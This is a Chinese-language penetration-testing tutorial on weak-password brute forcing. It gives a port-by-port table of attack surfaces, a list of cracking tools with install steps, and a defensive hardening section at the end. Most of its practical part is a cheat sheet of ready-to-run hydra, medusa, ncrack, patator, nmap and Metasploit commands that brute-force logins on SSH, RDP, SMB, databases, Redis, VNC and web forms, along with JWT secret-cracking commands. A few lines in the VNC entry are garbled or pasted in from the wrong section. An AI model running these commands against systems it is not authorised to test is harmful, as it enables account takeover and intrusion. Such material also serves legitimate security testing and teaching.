弱口令爆破技术探究

本文总结各类弱口令漏洞类型及利用方式...

本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途…

0x01 攻击面

弱口令爆破常用端口及服务总结如下:

端口 服务 爆破方式
21 ftp/tftp/vsftpd文件传输协议 爆破/嗅探/溢出/后门
22 ssh远程连接 爆破/OpenSSH漏洞
23 Telnet远程连接 爆破/嗅探
25 SMTP邮件服务 邮件伪造
53 DNS域名解析系统 DNS区域传输/劫持/缓存投毒/欺骗; 利用DNS隧道技术刺透防火墙
67/68 dhcp服务 劫持/欺骗
69 tftp(简单文件传输协议,无认证) 尝试下载目标重要配置文件
110 pop3 爆破/嗅探
137/139 Samba服务 爆破/未授权访问/远程代码执行
143 Imap协议 爆破
161 SNMP协议 爆破/搜集目标内网信息
389 Ldap目录访问协议 注入/未授权访问/弱口令/匿名访问
445 smb ms17-010/端口溢出
512/513/514 Linux Rexec服务 爆破/Rlogin登陆
873 Rsync服务 文件上传/匿名访问
1080 socket 爆破/内网渗透
1099 JAVA RMI 反序列化远程命令执行漏洞
1194 openvpn 获取vpn账号,进内网
1352 Lotus domino邮件服务 爆破/弱口令/信息泄漏
1433 mssql 爆破/注入攻击/提权/sa弱口令
1500 ispmanager主机控制面板 弱口令
1521 oracle 注入攻击/TNS爆破/弹shell
1723 pptp 爆破/获取vpn账号,进内网
2049 Nfs服务 配置不当
2082,2083 cpanel主机管理面板登录 弱口令
2181 zookeeper服务 未授权访问
2375 docker remote api 未授权访问
2601,2604 zebra路由 默认密码zerbra
3128 squid代理服务 弱口令
3306 mysql 爆破/注入/拒绝服务/提取
3389 Rdp远程桌面连接 爆破/shift后门/ms12-020
3690 svn服务 svn泄露/未授权访问
4848 GlassFish控制台 爆破/认证绕过
5000 sybase/DB2数据库 爆破/注入
5432 postgresql 爆破/注入/缓冲区溢出
5632 pcanywhere服务 拒绝服务/代码执行
5900,5901,5902 vnc 弱口令爆破
5984 CouchDB 未授权访问导致任意指令执行
6379 Redis数据库 未授权访问/爆破
6443 Kubernetes API Server 未授权访问
7001/7002 weblogic java反序列化/控制台弱口令/控制台上传webshell/SSRF
80-89,443 http/https web应用漏洞/OpenSSL心脏滴血
8000 JDWP 远程命令执行漏洞
8069 zabbix服务 远程命令执行/注入
8080-8089 Jboss/Tomcat/Jenkins/Resin/Jetty 控制台弱口令/反序列化/远程文件读取
8083/8086 influxDB 未授权访问
8161 ActiveMQ 弱口令/任意文件写入/反序列化
9000 fastcgi 远程命令执行
9080-9081,9090 Websphere控制台 java反序列化/弱口令
9200/9300 elasticsearch 未授权访问/远程代码执行
11211 memcached 未授权访问
27017/27018 mongodb 未授权访问/爆破
50000 SAP 远程代码执行
50070,50030 hadoop 默认端口未授权访问

Refer: http://www.91ri.org/15441.html

0x02 爆破字典

1. 爆破字典合集

2. 字典生成工具

  • pydictor 一款强大用于暴力破解的字典生成器

  • CUPP 依据个人信息生成专属字典

  • CeWL 通过收集企业信息生成专属字典

0x03 爆破工具

1. 常用工具

  • Hydra 在线开源密码破解工具,支持多种协议类型及不同形式的WEB表单认证破解

  • Medusa 在线开源密码破解工具,支持多种协议,稳定性较高

  • ncrack 由nmap项目共同维护的在线密码破解工具,速度和稳定性较高

  • crowbar 在线密码破解工具,支持OpenVPN以及基于密钥方式身份认证的SSH、VNC服务

  • BruteSpray 可自动读取和解析nmap的扫描报告,并从中识别出可进行密码破解的服务类型

  • x-crack 一款基于Go语言的常见服务弱口令扫描器

  • John the Ripper 离线密码破解工具,可自动识别并解密200多种加密算法和应用

  • hashcat 开源离线密码破解工具,特性全面,速度较快

  • mimikatz windows系统凭据收集框架,凭据包括账号密码、HASH、证书、令牌、cookie等众多类型信息

  • Ophcrack 基于彩虹表的免费Windows密码破解程序

  • RainbowCrack 可生成用于密码破解的彩虹表

2. 在线爆破

a. Hydra

安装

1
2
3
4
5
$ git clone https://github.com/vanhauser-thc/thc-hydra.git

$ cd thc-hydra

$ ./configure && make && make install

常用参数

选项 用途
-l 指定单个用户名,适合在知道用户名爆破用户名密码时使用
-L 指定多个用户名,参数值为存储用户名的文件的路径
-p 指定单个密码,适合在知道密码爆破用户名时使用
-P 指定多个密码,参数值为存贮密码的文件(通常称为字典)的路径
-C 当用户名和密码存储到一个文件时使用此参数。字典文件存储的格式必须为 “用户名:密码” 的格式
-M 指定多个攻击目标,此参数为存储攻击目标的文件的路径,列表文件存储格式必须为”地址:端口”
-t 指定爆破时的任务数量(线程数),默认为16
-s 指定端口,适用于攻击目标端口非默认的情况
-S 指定爆破时使用 SSL 连接
-R 继续从上一次爆破进度上继续爆破
-v 显示爆破的详细信息
-f 一旦爆破成功一个就停止爆破

b. Medusa

安装

1
2
3
4
5
6
7
8
9
$ yum -y install libssh2-devel libssh2-devel libtool libtool-ltdl libtool-ltdl-devel

$ yum groupinstall -y 'development tools'

$ wget http://foofus.net/goons/jmk/tools/medusa-2.2.tar.gz

$ tar zxvf medusa-2.2.tar.gz && cd medusa-2.2

$ ./configure && make && make install

语法

1
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

参数选项

选项 用途
-h [TEXT] 目标主机名称或者IP地址
-H [FILE] 包含目标主机名称或者IP地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-p [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-O [FILE] 日志信息文件
-e [n/s/ns] n代表空密码,s代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认Tcp端口
-s 启用SSL
-r [NUM] 重试间隔时间,默认为3秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计
-q 显示模块的使用信息
-v [NUM] 详细级别(0-6)
-w [NUM] 错误调试级别(0-10)
-V 显示版本
-Z [TEXT] 继续上一次扫描

3. 离线爆破

a. John the Ripper

安装

1
2
3
4
5
6
7
$ wget https://www.openwall.com/john/k/john-1.9.0.tar.gz

$ tar zxvf john-1.9.0.tar.gz && cd john-1.9.0

$ make && make clean linux-x86-64

$ alias john='/usr/local/john-1.9.0/run/john'

b. hashcat

安装

1
2
3
4
5
$ wget https://hashcat.net/files/hashcat-6.1.1.tar.gz

$ tar zxvf hashcat-6.1.1.tar.gz

$ make && make install

0x04 渗透实战

1. AJP

1
nmap --script ajp-brute -p 8009 <IP>

2. CouchDB

1
2
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brute/wordlists/simple-users.txt -P /usr/share/brute/wordlists/password.lst localhost -s 5984 http-get /

3. Docker Registry

1
hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

4. Elasticsearch

1
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

5. FTP

1
2
3
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp

6. HTTP Basic Auth

1
2
3
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for httpS
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10

7. HTTP - Post Form

1
2
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for httpS

8. HTTP - CMS

1
cmsmap -f W/J/D/M -u a -p a https://wordpress.com

9. IMAP

1
2
3
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>

10. IRC

1
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

11. JWT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

12. LDAP

1
nmap --script ldap-brute -p 389 <IP>

13. Mongo

1
2
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login

14. MySQL

1
2
3
4
5
6
7
8
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

15. PostgreSQL

1
2
3
4
5
6
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> -U /root/Desktop/user.txt -P /root/Desktop/pass.txt -M postgres
ncrack -v -U /root/Desktop/user.txt -P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>

16. RDP

1
2
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>

17. Redis

1
2
3
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra -P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default

18. Rexec

1
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

19. Rlogin

1
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

20. Rsh

1
hydra -L <Username_list> rsh://<Victim_IP> -v -V

21. Rsync

1
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

22. SMB

1
2
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1

23. Socks

1
nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>

24. SSH

1
2
3
4
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'

25. Telnet

1
2
3
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

26. VNC

1
2
3
4
5
6
7
8
9
10
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> -u root -P /root/Desktop/pass.txt -M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt -t 1 -x retry:fgep!='Authentication failure' --max-retries 0 -x quit:code=0use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst

0x05 防御加固

1. 缺陷总结

1
2
3
4
5
6
7
8
9
(1) 公共弱口令,出现频率比较高的弱口令

(2) 数字或字母连排或混排,键盘字母连排

(3) 默认密码,网络设备、系统组件等默认初始化弱口令

(4) 生日,姓名+生日(利用社工非常容易被破解)

(5) 短语密码(如:5201314,love1314等)

2. 口令设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

(1)不使用空口令或系统缺省的口令,这些口令众所周之,为典型的弱口令

(2)口令长度不小于8 个字符

(3)口令不应该为连续的某个字符(例如:AAAAAAAA)或重复某些字符的组合(例如:tzf.tzf.)

(4)口令应该为以下四类字符的组合,大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符。每类字符至少包含一个。如果某类字符只包含一个,那么该字符不应为首字符或尾字符

(5)口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail 地址等等与本人有关的信息,以及字典中的单词

(6)口令不应该为用数字或符号代替某些字母的单词

(7)口令应该易记且可以快速输入,防止他人从你身后很容易看到你的输入

(8)至少90 天内更换一次口令,防止未被发现的入侵者继续使用该口令\

3. 防御策略

1
2
3
4
5
6
7
8
9
(1) 少用滚键盘类的密码,尽量使用难以猜解的密码

(2) 防止信息泄漏导致密码泄漏或者可能易于被猜测: 登录名和用户名应进行区分;实行有效的密码策略,杜绝密码中包含用户名;不要使用易于从企业名称或者域名中得到密码信息的口令;防止GitHub信息泄漏

(3) 禁止大量系统使用同一密码

(4) 不要使用默认密码,密码默认即为密码公开

(5) 撞库问题防范: 应定期修改密码,不同的网站或账户不应该使用相同的密码; 对登录进行有效验证限制、各个功能接口做检验

0xFF Reference


本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途...